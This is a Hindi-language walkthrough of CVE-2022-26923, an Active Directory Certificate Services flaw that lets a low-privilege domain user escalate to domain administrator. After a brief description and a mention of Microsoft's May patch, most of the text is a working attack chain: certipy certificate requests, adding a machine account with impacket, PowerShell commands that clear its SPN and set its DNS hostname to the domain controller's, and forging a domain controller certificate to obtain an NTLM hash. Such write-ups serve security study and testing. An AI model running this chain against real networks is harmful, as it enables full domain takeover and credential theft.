
यह भेद्यता एक निम्न-विशेषाधिकार वाले उपयोगकर्ता को, Active Directory प्रमाणपत्र सेवाएँ (AD CS) सर्वर भूमिका स्थापित डिफ़ॉल्ट Active Directory वातावरण में, डोमेन व्यवस्थापक तक विशेषाधिकार बढ़ाने की अनुमति देती है।
इस कमजोरी ने एक निम्न-विशेषाधिकार वाले उपयोगकर्ता को, Active Directory Certificate Services (AD CS) सर्वर भूमिका स्थापित डिफ़ॉल्ट Active Directory वातावरण में, डोमेन व्यवस्थापक के विशेषाधिकारों तक पहुँचने की अनुमति दी।
Oliver Lyak (ly4k_) द्वारा Python में एक शोषण (exploit) विकसित किया गया था और इसे परामर्श से पहले प्रकाशित किया गया था, बाद में नहीं। इसे प्रमाण-अवधारणा (proof-of-concept) घोषित किया गया है। यह शोषण research.ifcr.dk पर डाउनलोड के लिए उपलब्ध है।
स्रोत :
हाल ही में सामने आया Active Directory Domain विशेषाधिकार उन्नयन दोष अभी तक वास्तविक दुनिया में शोषित नहीं हुआ है, फिर भी इसका उच्च 8.8 CVSS स्कोर समझौता किए गए सिस्टमों के लिए उच्च जोखिम की ओर संकेत करता है, जिससे हमलावर प्रमाणपत्र मुद्दों का दुरुपयोग कर सकते हैं। CVE-2022–26923 DnsHostName विशेषता में हेरफेर करने की अनुमति देता है, जो कंप्यूटर नाम को निर्दिष्ट करती है जैसा कि DNS में पंजीकृत है, और फिर एक प्रतिद्वंद्वी को AD Certificate Services से प्रमाणपत्र प्राप्त करने में सक्षम बनाता है, जो संभावित रूप से विशेषाधिकार उन्नयन की ओर ले जाता है।
- उपयोगकर्ता नाम: user_test
- पासवर्ड: Password123#
- डोमेन: my.domain.com
पुनरुत्पादन के लिए आपको यह करना होगा:
- हमला करने वाली मशीन पर impacket और certipy स्थापित होना चाहिए।
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- आपने निम्न विशेषाधिकार वाले उपयोगकर्ता से समझौता किया हो।
- कोई सिस्टम केवल तभी संवेदनशील है जब डोमेन पर Active Directory Certificate Services चल रही हो।
आइए अपने निम्न विशेषाधिकार वाले AD उपयोगकर्ता (उपयोगकर्ता नाम=user_test पासवर्ड=Password123#) के लिए User प्रमाणपत्र टेम्पलेट का उपयोग करके एक प्रमाणपत्र उत्पन्न करके शुरू करें :
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
आइए जाँचें कि प्रमाणपत्र मान्य है और Certipy के माध्यम से Kerberos प्रमाणीकरण के लिए इसका उपयोग किया जा सकता है :
certipy auth -pfx user_test.pfx
Impacket के साथ डोमेन में एक वर्चुअल कंप्यूटर जोड़ना
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
आइए हमारे द्वारा बनाए गए नए कंप्यूटर के लिए एक प्रमाणपत्र उत्पन्न करें। उक्त कंप्यूटर के मशीन खाते का उपयोग करने के लिए, आपको नाम के अंत में "$" जोड़ना होगा:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
CVE-2022–26923 के शमन और सुरक्षात्मक उपायों के लिए, Microsoft दृढ़ता से अनुशंसा करता है कि AD Certificate Services चलाने वाले सभी सर्वरों और प्रमाणपत्र-आधारित प्रमाणीकरण संचालित करने वाले Windows डोमेन नियंत्रकों को नवीनतम 10 मई संस्करण में अपडेट किया जाए।
समझौता किए गए मशीन पर, DNS होस्टनाम और SPN विशेषताओं को अपडेट करना :
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
अपनी वर्तमान SPN विशेषता हटाएँ
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
DNS होस्टनाम विशेषता को DC के होस्टनाम पर सेट करने का प्रयास करें:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
हमला करने वाली मशीन पर, एक दुर्भावनापूर्ण प्रमाणपत्र जाली बनाना
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
सत्यापित करें कि यह प्रमाणपत्र काम कर रहा है और NTLM हैश लौटाएगा
certipy auth -pfx hostname.pfx